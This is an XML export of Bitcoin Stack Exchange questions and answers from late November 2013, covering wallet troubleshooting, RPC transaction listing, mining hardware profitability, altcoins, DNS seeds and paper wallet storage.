  <row Id="17421" PostTypeId="2" ParentId="286" CreationDate="2013-11-28T06:05:46.253" Score="0" Body="&lt;p&gt;There are two Reddits that are good for this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/Jobs4Bitcoins/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Jobs4Bitcoins/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reddit.com/r/Jobs4Litecoins/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Jobs4Litecoins/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-28T06:05:46.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17423" PostTypeId="1" AcceptedAnswerId="17448" CreationDate="2013-11-28T07:25:11.820" Score="1" ViewCount="4019" Body="&lt;p&gt;In the API CallList: &#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can pass an address as a parameter to &quot;listtransactions&quot; to get the latest list of transactions from an address. What if I would like to get the most recent 25 transactions from a list of 20 addresses. Does this mean I have to make the &quot;listtransactions&quot; call 20 times and then sort the end results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calling the API endpoint 20 times is fine, my problem is that if we needed to do pagination that will become very unmanageable very quickly, because it is really hard to determine what is transactions 26-50 from 20 different addresses&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I found that BlockchainInfo offers a very convenient endpoint for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/blockchain_api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Endpoint: &lt;a href=&quot;http://blockchain.info/multiaddr?active=&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/multiaddr?active=&lt;/a&gt;$address|$address (Multiple addresses divided by |)&#xA;However, this only returns &quot;txs&quot;:[--Latest 50 Transactions--]&#xA;and, this does not allow you to do an offset (for example, to get transaction 51-100)&lt;/p&gt;&#xA;" OwnerUserId="8701" LastEditorUserId="8701" LastEditDate="2013-11-28T10:30:01.053" LastActivityDate="2014-10-24T19:24:08.883" Title="Bitcoin Client API-RPC: Efficient way to list transactions from a list of addresses" Tags="|api|json-rpc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17425" PostTypeId="2" ParentId="286" CreationDate="2013-11-28T07:33:12.037" Score="0" Body="&lt;p&gt;Although it hasn't launched yet, eventually &lt;a href=&quot;http://codeforbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://codeforbitcoins.com&lt;/a&gt; will allow for posting and working on programming jobs for bitcoins&lt;/p&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2013-11-28T07:33:12.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17429" PostTypeId="1" CreationDate="2013-11-28T08:08:55.817" Score="5" ViewCount="20992" Body="&lt;p&gt;I'm interested in mining altcoins, mainly to turn some servers into (literal) space heaters, since it's winter. One thing that really interests me is if an altcoin has been designed to only be mineable by traditional CPUs. The big thing I can think of to cause this is large memory requirements. A large memory requirement for hash processing would cause current GPUs to be slower than CPUs (due to the individual &quot;cores&quot; of the GPU not having enough direct memory). It would also cause ASICs and FPGAs to be very difficult to develop to be faster than CPUs, and expensive. This is because you effectively reduce the mining complexity so that it bottlenecks at the memory bus (which is much harder to significantly speed up)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm not the only one to have thought of such a scheme. Is there an altcoin out there that is designed with this kind of ideal behind mining? &lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="5406" LastEditDate="2016-03-05T15:15:55.150" LastActivityDate="2016-07-01T07:30:13.923" Title="Is there an altcoin that is only feasible to mine by CPU?" Tags="|alternatives|cpu-mining|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17430" PostTypeId="2" ParentId="17429" CreationDate="2013-11-28T08:32:22.627" Score="6" Body="&lt;p&gt;Litecoin is the 2nd most popular currency in the same family as Bitcoin, and:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is based on the Bitcoin protocol but differs from Bitcoin in that&#xA;  it can be efficiently mined with consumer-grade hardware. Litecoin&#xA;  provides faster transaction confirmations (2.5 minutes on average) and&#xA;  uses a memory-hard, scrypt-based mining proof-of-work algorithm to&#xA;  target the regular computers with GPUs most people already have.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://litecoin.org/&quot;&gt;https://litecoin.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intention was to allow CPU mining to be viable, but according to Wikipedia it hasn't quite met this goal:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Litecoin uses scrypt in its proof-of-work algorithm: a sequential&#xA;  memory-hard function first conceived by Colin Percival.[14] The&#xA;  original intended benefit of using scrypt was to avoid giving&#xA;  advantage to GPU, FPGA and ASIC miners over CPU miners, which occurs&#xA;  in the Bitcoin protocol. However, this turned out to be an incorrect&#xA;  assumption: GPU mining in Litecoin's implementation of scrypt is&#xA;  currently ten times more efficient than CPU mining&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Litecoin&quot;&gt;http://en.wikipedia.org/wiki/Litecoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="533" LastActivityDate="2013-11-28T08:32:22.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17432" PostTypeId="1" CreationDate="2013-11-28T09:13:49.677" Score="6" ViewCount="10647" Body="&lt;p&gt;My wallet hasn't synchronized, can I make a transfer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that the transaction will not come up on my wallet but im guessing it would come up on the person I send too?&lt;/p&gt;&#xA;" OwnerUserId="9519" LastActivityDate="2021-11-28T12:20:08.790" Title="My wallet hasn't synchronized, can I make a transfer?" Tags="|transactions|wallet|synchronization|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17434" PostTypeId="1" AcceptedAnswerId="17435" CreationDate="2013-11-28T09:45:19.237" Score="2" ViewCount="4602" Body="&lt;p&gt;I started to mine BTC recently with my single 7970, and I'm getting 590MH speed on it. Using some BTC profit calculators that I've found on the internet tell me I could earn ~$300-400 worth of BTC annually. Since I have only one PC that I use for work and gaming I can't have it mining all the time, so I'm considering getting an ASIC. I've been looking for information this whole morning and I haven't found a definitive answer on which ASIC I should buy, or should I buy one at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read some threads that say that the arms race for mining equipment has gone too far to actually be profitable and trading BTC is a better choice, is this true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm looking at BFL products, namely the 5 GH model since it's really affordable at $270, but reading about the mining difficulty rising contantly I get the feeling that this device will become obsolete pretty soon (right?). The next product that I'm considering is the 50GH model priced at ~$2500, which seems to pay itself back and net a nice profit, at least according to the online calculators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's my bombardment of questions: Should I even consider getting the 5GH device? Does a $2500 ASIC REALLY give me a ROI and profit if I order it today (they seem to be in stock)? Can I still use my GPU occasionally to mine alt-coins to trade the for some BTC? Is it a good ivestment to buy BTC, say $50 each month, will it add up in the end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is much appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="9520" LastActivityDate="2013-11-28T14:57:06.040" Title="Is ASIC miner worth my money?" Tags="|alternatives|gpu|asic|butterfly-labs|" AnswerCount="2" CommentCount="3" ClosedDate="2013-11-29T00:23:54.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="17435" PostTypeId="2" ParentId="17434" CreationDate="2013-11-28T11:05:32.963" Score="3" Body="&lt;p&gt;In my opinion trading BTC has a higher potential of profit when compared to mining because of the sheer difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do decide to go for an ASIC.&#xA;I would recommend Coin Terra GoldStrike1 2TH/s ASIC miners.They are expensive at 6,000 USD.But their Break Even time on January Batch is 4 Days.&lt;strong&gt;If&lt;/strong&gt; they deliver through this is the only miner I feel could have the potential of profit.&#xA;I would not recommend BFL as they seem to be taking an insanely long time to ship their products and there are other severe allegations made against them by their users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, You could go for Litecoin Mining and convert to Bitcoin later&lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-11-28T11:05:32.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17436" PostTypeId="2" ParentId="17383" CreationDate="2013-11-28T11:27:36.243" Score="3" Body="&lt;p&gt;CPU is virtually useless for scrypt based coins like litecoin, stick to GPUs, for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a comparison of the top GPUs you can buy for mining, with user submitted settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinpolice.com/gpu/&quot; rel=&quot;nofollow&quot;&gt;http://coinpolice.com/gpu/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9524" LastActivityDate="2013-11-28T11:27:36.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17438" PostTypeId="1" CreationDate="2013-11-28T12:23:58.417" Score="1" ViewCount="600" Body="&lt;p&gt;Bitcoin passphrase fail steps to reproduce:&#xA;I installed bitcoin-qt version 0.8.1 around March 22, 2013.&#xA;I let it sync for about 48 hours until it was completely up to date. No error messages.&#xA;I set my wallet passphrase with an 11 char mixed case alphanumeric. CapsLock was off.&#xA;I wrote down my passphrase on paper and stored it in two separate fire resistant vaults.&#xA;I created a receive address and received coin sent from mtGox.&#xA;I let the transaction verify by more than six hosts.&#xA;I created a new address for offline storage and sent the coin to it.&#xA;I waited for at least six verifications.&#xA;I created two backups of the wallet.&#xA;The two backups compare exactly via windows comp command.&#xA;I stored the backups on USB drives in two separate fire resistant metal vaults.&#xA;I exited bitcoin. It was not set to start automatically on system login.&#xA;I did not execute bitcoin for the next eight months. No block updates.&#xA;Windows Auto Update was on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On November 19, 2013 I started Bitcoin again for the first time in eight months.&#xA;As Bitcoin attempted to sync it produced many identical error messages something like:&#xA;      “failure to read block”. After each error I stopped and restarted the program. &#xA;The errors occured at random intervals on average about an hour apart.&#xA;Trying to eliminate the error messages I upgraded to version 0.8.5 while &#xA;version 0.8.1 was running, and I saw no error messages. I restarted the computer.&#xA;Bitcoin continued to fully sync receiving blocks with no more error messages.&#xA;Next, for the first time I checked the box “Start Bitcoin on system login”.&#xA;I observed over the next 10 days that bitcoin 0.8.5 remained sync'd with no error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On November 28, 2013 I attempted to change my passphrase and received the error:&#xA;      “The passphrase entered for the wallet decryption was incorrect.”&#xA;CapsLock was off. Same keyboard, same system (except for Windows Update).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I backed up my wallet and compared the new backup to the two previous backups.&#xA;The Windows “comp” command reports the new backup is different from the two previous backups as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;dir&#xA;  04/09/2013  12:40 PM            73,728 Long Term Savings Bitcoin Wallet.dat&#xA;  11/28/2013  04:48 PM            73,728 New Backup after passphrase fail msg.dat&#xA;  04/09/2013  12:40 PM            73,728 Wallet Backup 2013 04 09.dat&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;comp&#xA;  Name of first file to compare: Long Term Savings Bitcoin Wallet.dat&#xA;  Name of second file to compare: Wallet Backup 2013 04 09.dat&#xA;  Option:&#xA;  Comparing Long Term Savings Bitcoin Wallet.dat and Wallet Backup 2013 04 &#xA;  09.dat.&#xA;  ..&#xA;  Files compare OK&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Compare more files (Y/N) ? y&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name of first file to compare: New Backup after passphrase fail msg.dat&#xA;Name of second file to compare: Long Term Savings Bitcoin Wallet.dat&#xA;Option:&#xA;Comparing New Backup after passphrase fail msg.dat and Long Term Savings&lt;br&gt;&#xA;Bitcoin&#xA; Wallet.dat...&#xA;Compare error at OFFSET 8014&#xA;file1 = 6&#xA;file2 = 4&#xA;Compare error at OFFSET 8016&#xA;file1 = 34&#xA;file2 = 0&#xA;Compare error at OFFSET 8017&#xA;file1 = 16&#xA;file2 = 1C&#xA;Compare error at OFFSET 801A&#xA;file1 = D4&#xA;file2 = 78&#xA;Compare error at OFFSET 801B&#xA;file1 = 1B&#xA;file2 = 1F&#xA;Compare error at OFFSET 801C&#xA;file1 = 34&#xA;file2 = 0&#xA;Compare error at OFFSET 801D&#xA;file1 = 16&#xA;file2 = 1C&#xA;Compare error at OFFSET 801E&#xA;file1 = 78&#xA;file2 = D4&#xA;Compare error at OFFSET 8020&#xA;file1 = FC&#xA;file2 = A0&#xA;Compare error at OFFSET 8021&#xA;file1 = 1B&#xA;file2 = 1F&#xA;10 mismatches - ending compare&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Question 1.) Does bitcoin-qt version 0.8.5 intentionally produce a different .dat backup than 0.8.1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I shutdown bitcoin-qt and replaced wallet.dat with the March 22, 2013 backup.&#xA;(in C:\Users\MyUserName\AppData\Roaming\Bitcoin) and restarted fully sync'd with no error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once again, I attempted to change my passphrase and received the error:&#xA;      “The passphrase entered for the wallet decryption was incorrect.”&#xA;CapsLock was off. Same keyboard, same system (except for Windows Update).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2.) Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="9530" LastActivityDate="2013-11-28T12:23:58.417" Title="Bitcoin passphrase fail, restoring backup does not help" Tags="|wallet|passphrase|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17440" PostTypeId="2" ParentId="17417" CreationDate="2013-11-28T13:07:04.160" Score="3" Body="&lt;p&gt;Yes, there are a few ways you can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you could solo mine using GBT from Bitcoin-Qt, and prioritise your own transactions. But unless you find a block, this does no good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, and perhaps easier, you could use a pool like Eligius which offers prioritisation as a perk to its miners.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-28T13:07:04.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17441" PostTypeId="2" ParentId="14371" CreationDate="2013-11-28T13:13:20.050" Score="2" Body="&lt;p&gt;Yes, all &quot;seed nodes&quot; refer to bitcoin clients known (or suspected) to be more or less permanently available. The DNS seed nodes are those reached via DNS lookup; the others via their IP address. A more thorough &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2030/6049&quot;&gt;answer&lt;/a&gt; (including other initial &quot;bootstrapping&quot; connection methods than these hardcoded seeds) has been given to another question.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-11-28T13:13:20.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17442" PostTypeId="2" ParentId="17390" CreationDate="2013-11-28T13:58:42.983" Score="1" Body="&lt;p&gt;Did you check transaction history at MtGox? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A key element of the Bitcoin protocol is the block chain, which is a public transaction database. This contains most all transactions made in bitcoins and also includes information such as the sending and receiving addresses. You can find historical transaction data for the past 3 months by using a block chain explorer like ABE or Blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the person before me stated even if you could find where they are there is no way to take them back.&lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-11-28T13:58:42.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17444" PostTypeId="2" ParentId="17413" CreationDate="2013-11-28T14:51:29.750" Score="0" Body="&lt;p&gt;There's no real way to know but in the last 30 days, about 5,000,000 BTC were traded among all the exchanges that are reporting. You can also see how that breaks down by exchange according to this chart: &lt;a href=&quot;http://bitcoincharts.com/charts/volumepie/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/volumepie/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-28T14:51:29.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17445" PostTypeId="2" ParentId="17434" CreationDate="2013-11-28T14:57:06.040" Score="2" Body="&lt;p&gt;In my experience, every time I've bought a miner, by the time I received it, if I had just spent my money buying BTC, I would have made a bigger profit. That being said, I'm a bit of a nerd so I look at mining as a hobby and if I can get my money back eventually (always have) while having fun nerding-out, I look at that as a win.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-28T14:57:06.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17447" PostTypeId="2" ParentId="14371" CreationDate="2013-11-28T15:06:17.177" Score="7" Body="&lt;p&gt;No, the DNS seeds are not running a Bitcoin client. The DNS seed nodes only give you a list of IP addresses that are running (or were recently running) a Bitcoin client. In the source code you can see that the DNS seed nodes are contacted &lt;em&gt;only&lt;/em&gt; to get a list of addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/net.cpp#L1210&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/net.cpp#L1210&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-28T15:06:17.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17448" PostTypeId="2" ParentId="17423" CreationDate="2013-11-28T15:14:05.210" Score="3" Body="&lt;p&gt;The most efficient way to get a list of transactions from multiple addresses is to store every wallet transaction in a database locally, something like MySQL or MongoDB, and then run your queries on that database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sync your local database with the Bitcoin wallet via RPC by periodically calling listsinceblock() and keeping track of the last block or by running the client with the optional -walletnotify parameter to run a script to notify your database of new transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful with -walletnotify however. It will be called twice for every transaction and if you have a lot of transactions, it can happen a lot. So make sure the command -walletnotify calls doesn't use a lot of CPU/RAM.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-28T15:14:05.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17449" PostTypeId="2" ParentId="12380" CreationDate="2013-11-28T15:20:47.133" Score="1" Body="&lt;p&gt;I have built an open source service that does exactly this. Every time a new address is generated, it's associated with an account in a database. The Bitcoin client is running using the optional -walletnotify command to notify the database about the new transaction. When the database receives a new transaction, the account associated with that address can be notified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://bitlab.co/wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitlab.co/wallet&lt;/a&gt; to see a demo of this in action. Also, the source for the back-end is available at &lt;a href=&quot;https://github.com/bitlabco/bitlab-nodejs&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitlabco/bitlab-nodejs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-11-28T15:20:47.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17450" PostTypeId="1" CreationDate="2013-11-28T15:58:37.927" Score="1" ViewCount="1641" Body="&lt;p&gt;I was wondering if there is any stats out there that tell you how many bitcoins a country is holding. I want to make a presentation so i can persuade people to buy bitcoins, but i want to make sure they are really informed. Anything will help that is statistical related. &lt;/p&gt;&#xA;" OwnerUserId="9546" LastEditorUserId="5406" LastEditDate="2014-10-12T22:02:17.890" LastActivityDate="2015-02-09T23:18:36.717" Title="Does anyone know which country has the most bitcoins?" Tags="|adoption|user-base|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17451" PostTypeId="1" CreationDate="2013-11-28T16:00:10.893" Score="3" ViewCount="911" Body="&lt;p&gt;I am getting an error {&quot;code&quot;=&gt;-5, &quot;message&quot;=&gt;&quot;No information available about transaction&quot;} when issuing &lt;code&gt;getrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;since bitcoind/Bitcoin-qt 0.8, no transaction index is kept anymore by&#xA;  default, as it is not necessary for validation in the new database&#xA;  model. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;( Discussed here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9147/getrawtransaction-error-code-5/9152#9152&quot;&gt;getrawtransaction error? [Code -5]&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the answers and rebuilt my index with --reindex. I also have txindex=1 specified in my Bitcoin.conf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still getting the same error every time. What could be the issue? How do I make sure the client keeps an updated index along with synchronising for new blocks? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I tried working with a random hash: &quot;d3ad39fa52a89997ac7381c95eeffeaf40b66af7a57e9eba144be0a175a12b11&quot; and it works. Not for all though. Is transaction data specific only to some blocks?&lt;/p&gt;&#xA;" OwnerUserId="6949" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2017-11-10T21:27:46.850" Title="getrawtransaction in Bitcoin-Qt (0.8.5)" Tags="|bitcoind|bitcoin-core|json-rpc|raw-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17452" PostTypeId="2" ParentId="17450" CreationDate="2013-11-28T16:22:30.753" Score="1" Body="&lt;p&gt;Finding out which country has the most Bitcoin's is not something that you can easily calculate it is very difficult as it involves geolocating the IP addresses. But with the way they get transferred it could be very different the next day. Also a lot of Bitcoin users are concerned about privacy and security and it may be difficult to acquire the actual geolocation data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand.I can give you the numbers for Top five countries for Bitcoin downloads as of Today&#xA;1.US (1,207,661)&#xA;2.China (505,904)&#xA;3.Germany (270,043)&#xA;4.UK (236,523)&#xA;5.Russia (226,680)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-11-28T16:22:30.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17457" PostTypeId="1" CreationDate="2013-11-28T17:32:04.033" Score="3" ViewCount="400" Body="&lt;p&gt;I'm on testnet, I've created a raw tx and I'm using bitcoind. I've confirmed that the hex is formed correctly and signrawtransaction returns complete:true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I've run bitcoind sendrawtransaction raw_tx I get a hash returned, however when I look at &lt;a href=&quot;http://blockexplorer.com&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com&lt;/a&gt; the hash cannot be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm definitely on testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest any ideas?&lt;/p&gt;&#xA;" OwnerUserId="9551" LastActivityDate="2015-07-04T13:04:34.830" Title="sendrawtransaction creates hash but does not propogate to the network" Tags="|raw-transaction|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17458" PostTypeId="1" AcceptedAnswerId="17481" CreationDate="2013-11-28T17:43:47.577" Score="0" ViewCount="2180" Body="&lt;p&gt;I want to use bitstamp to sell my bitcoins and receive USD in my bank account in Pakistan through wire transfer. Has anyone used this service at bitstamp? How long does it normally take and did you experience any hurdles in the process?&#xA;Also are there any alternative services like bitstamp which are reliable, offer good conversion rates and low fees for international transfer?&lt;/p&gt;&#xA;" OwnerUserId="9552" LastEditorUserId="9552" LastEditDate="2013-11-28T17:59:51.260" LastActivityDate="2013-11-29T00:01:20.000" Title="Has anyone used Bitstamp international bank transfer?" Tags="|withdrawal|wire-transfers|bitstamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17461" PostTypeId="1" AcceptedAnswerId="17463" CreationDate="2013-11-28T19:00:36.897" Score="1" ViewCount="384" Body="&lt;p&gt;What does everyone think? Also what are the advantages and disadvantages of each one?&lt;/p&gt;&#xA;" OwnerUserId="9560" LastActivityDate="2013-11-28T19:23:48.547" Title="Paper wallet vs wallet.dat on memory stick for long term storage?" Tags="|wallet|offline|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17463" PostTypeId="2" ParentId="17461" CreationDate="2013-11-28T19:23:48.547" Score="1" Body="&lt;p&gt;&lt;strong&gt;Paper wallet:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;pros:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;easy to store&lt;/li&gt;&#xA;&lt;li&gt;easy to create&lt;/li&gt;&#xA;&lt;li&gt;provide the same amount of security as the fiat money does&lt;/li&gt;&#xA;&lt;li&gt;you don't need to worry about viruses&lt;/li&gt;&#xA;&lt;li&gt;valid for a long time&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;cons:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;easy to be misplaced&lt;/li&gt;&#xA;&lt;li&gt;if you cannot provide phisical security, it is more likely useless&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wallet.dat on pendrive&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;pros:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;none, in my opinion&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;cons:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;easy to be misplaced&lt;/li&gt;&#xA;&lt;li&gt;pendrive can become corrupted in the next few years, due to hardware deterioration&lt;/li&gt;&#xA;&lt;li&gt;it can easly be stolen or copied&lt;/li&gt;&#xA;&lt;li&gt;again, you need to provide phisical security&lt;/li&gt;&#xA;&lt;li&gt;wallet.dat format can change over time, thus making your data hard to recover (depends on the future decision of devs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2013-11-28T19:23:48.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17466" PostTypeId="1" CreationDate="2013-11-28T19:44:14.277" Score="0" ViewCount="253" Body="&lt;p&gt;I have clicked on &quot;close wallet&quot; by mistake, and thought it was lost, and then found it in &lt;code&gt;C:\user\&amp;lt;my name&amp;gt;\AppData\Roaming&lt;/code&gt;... but, when I click to open the wallet nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have saved my private keys to a USB stick, and my public address is written down (this wallet is in &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt;). I have Windows 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to recover my wallet?&lt;/p&gt;&#xA;" OwnerUserId="9566" LastEditorUserId="1405" LastEditDate="2014-01-24T23:02:05.057" LastActivityDate="2014-04-12T21:04:05.267" Title="Closed wallet on MultiBit, found it in AppData, but when I click &quot;open&quot; nothing happens" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17468" PostTypeId="1" CreationDate="2013-11-28T20:41:21.580" Score="5" ViewCount="791" Body="&lt;p&gt;I suspect the router in my network prevents the block chain from being sucked into my machine, using the classic way, i.e. bitcoin-qt or bitcoind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of dowloading the testnet block chain?&lt;/p&gt;&#xA;" OwnerUserId="9569" LastActivityDate="2019-10-17T12:03:37.597" Title="download testnet block chain?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
